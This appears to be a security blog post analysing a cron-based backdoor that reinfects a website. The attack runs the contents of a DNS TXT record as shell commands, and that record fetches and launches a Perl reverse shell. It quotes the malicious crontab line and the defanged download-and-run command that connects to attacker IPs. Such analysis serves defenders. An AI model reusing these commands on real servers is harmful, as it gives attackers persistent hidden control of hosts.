Cronjob Backdoors

Attackers commonly rely on backdoors to easily gain reentry and maintain control over a website. They also use PHP functions to further deepen the level of their backdoors.

A good example of this is the shell_exec function which allows plain shell commands to be run directly through the web application, providing attackers with an increased level of control over the environment.

Backdoor in Cron

While investigating a client with repeated website infections, we came across a scenario where a cron job was being used to reinfect the site.

The attackers made use of shell_exec to make a direct edit of /var/spool/cron/crontabs/www-data in order to add a malicious cron entry.

These were the contents of the entire file:

# DO NOT EDIT THIS FILE - edit the master and reinstall. 
# (/tmp/crontab.rpzFtz/crontab installed on Sat Feb 20 19:34:54 2019) 
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $) 
# Edit this file to introduce tasks to be run by cron. 
# 
# Each task to run has to be defined through a single line 
# indicating with different fields when the task will be run 
# and what command to run for the task 
# 
# To define the time you can provide concrete values for 
# minute (m), hour (h), day of month (dom), month (mon), 
# and day of week (dow) or use '*' in these fields (for 'any').
# 
# Notice that tasks will be started based on the cron's system 
# daemon's notion of time and timezones. 
# 
# Output of the crontab jobs (including errors) is sent through 
# email to the user the crontab file belongs to (unless redirected). 
# 
# For example, you can run a backup of all your user accounts 
# at 5 a.m every week with: # 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
0 1 * * * /bin/sh -c "sh -c $(dig logging.chat TXT +short @pola.ns.cloudflare.com)" 
# 
# For more information see the manual pages of crontab(5) and cron(8) 
# 
# m h dom mon dow command

It looks exactly like the default file with the exception of this line:

0 1 * * * /bin/sh -c "sh -c $(dig logging.chat TXT +short @pola.ns.cloudflare.com)"

Malicious TXT Record

The command is querying the nameserver pola.ns.cloudflare.com for the TXT record of the domain logging.chat. This domain is likely owned by the attackers, who are using the domain DNS’s TXT field to hold the malicious commands/instructions. These commands are then used by backdoors in a previously infected hosting environment to check what is on the TXT record and run it.

This technique makes it easy for a bad actor to spread any kind of commands they want without actually having to connect to the infected host. Because of this, it is harder to track the attacker since the server just grabs the commands it has to run automatically—the hacker doesn’t have to connect to the host or run any instructions manually.

The Domain DNS’s TXT Records

Here is a look at the data present on the domain (logging.chat) DNS’s TXT record:

“wget hxxp://89(.)248(.)171(.)3/h.pl -q -O /dev/shm/h.pl&&nohup perl /dev/shm/h.pl 66.172.27.225 80&disown”

(altered to avoid hyperlinks or accidental access)

This makes it visually easier to understand:

How the Cronjob Backdoors Work

The Right Time

First, the crontab is set to run every day at exactly 1AM (0 1 * * *) server time. This accounts for timezone differences to ensure that the host’s owner is most likely asleep. Performing the attack at this time helps it avoid detection if monitoring services like OSSEC are not installed.

Cronjob Execution as a Shell Command

When the cronjob runs, it has the system query the nameserver (pola.ns.cloudflare.com) for the TXT record logging.chat, then executes the result as a normal shell command:

wget hxxp://89(.)248(.)171(.)3/h.pl -q -O /dev/shm/h.pl&&nohup /dev/shm/h.pl 66.172.27.225 80&disown

Executing the File

In the end, it executes the file /dev/shm/h.pl and connects that file back to the IP 66.172.27.225.

What is the h.pl File?

You may be wondering what that h.pl file actually is. Well, it is just a reverse shell that connects back to its host and waits for commands.

The &disown at the end of the cron ensures that this connected session stays open for as long as possible and keeps the backdoor open for the attacker in the process.

This type of backdoor gives attackers a full-fledged interactive shell onto the target host. From here, they can quickly infect any host that the shell user has access to. In this case, it was www-data. The attacker had full access to all of the domains in this specific host.

The DNS query was done to a specific nameserver, but if the attacker had control over the nameservers he could easily have different TXT records for each domain per nameserver. Using this method allows an attacker to easily control multiple infections with different instructions by just modifying the nameserver query.

Conclusion

Storing malicious TXT data on domain’s DNS records has been leveraged by attackers many times before. It is most commonly used to send commands to botnets and other kinds of automated systems. These botnet commands usually include what targets to attack or what actions to take.

Botnets execute the same kind of DNS queries. In turn, they receive scrambled data that, when decoded by the malware, gives the instructions to be run.

Any network monitoring that may be in place will see only a DNS query and any data coming through will make no sense, as it is encoded and scrambled. This is a great way to hide a botnet infection and one of the preferred methods to C&C (Command & Control) botnets that have been deployed across multiple hosts.

It is important to note that a domain’s DNS TXT records can also be hacked. If an attacker gains access to your cPanel or DNS zoning area, they can easily change the TXT records to incorporate your domain into a structure that is used to control botnets and other kinds of malicious campaigns.

Unless the attacker does some actual damage to the site or your account, it may be incredibly hard to spot this kind of compromise.

An active DNS monitoring service can help you detect indicators of compromise and malware in your website’s environment. We encourage website owners to use a website security platform to identify security threats and mitigate the risk of infection.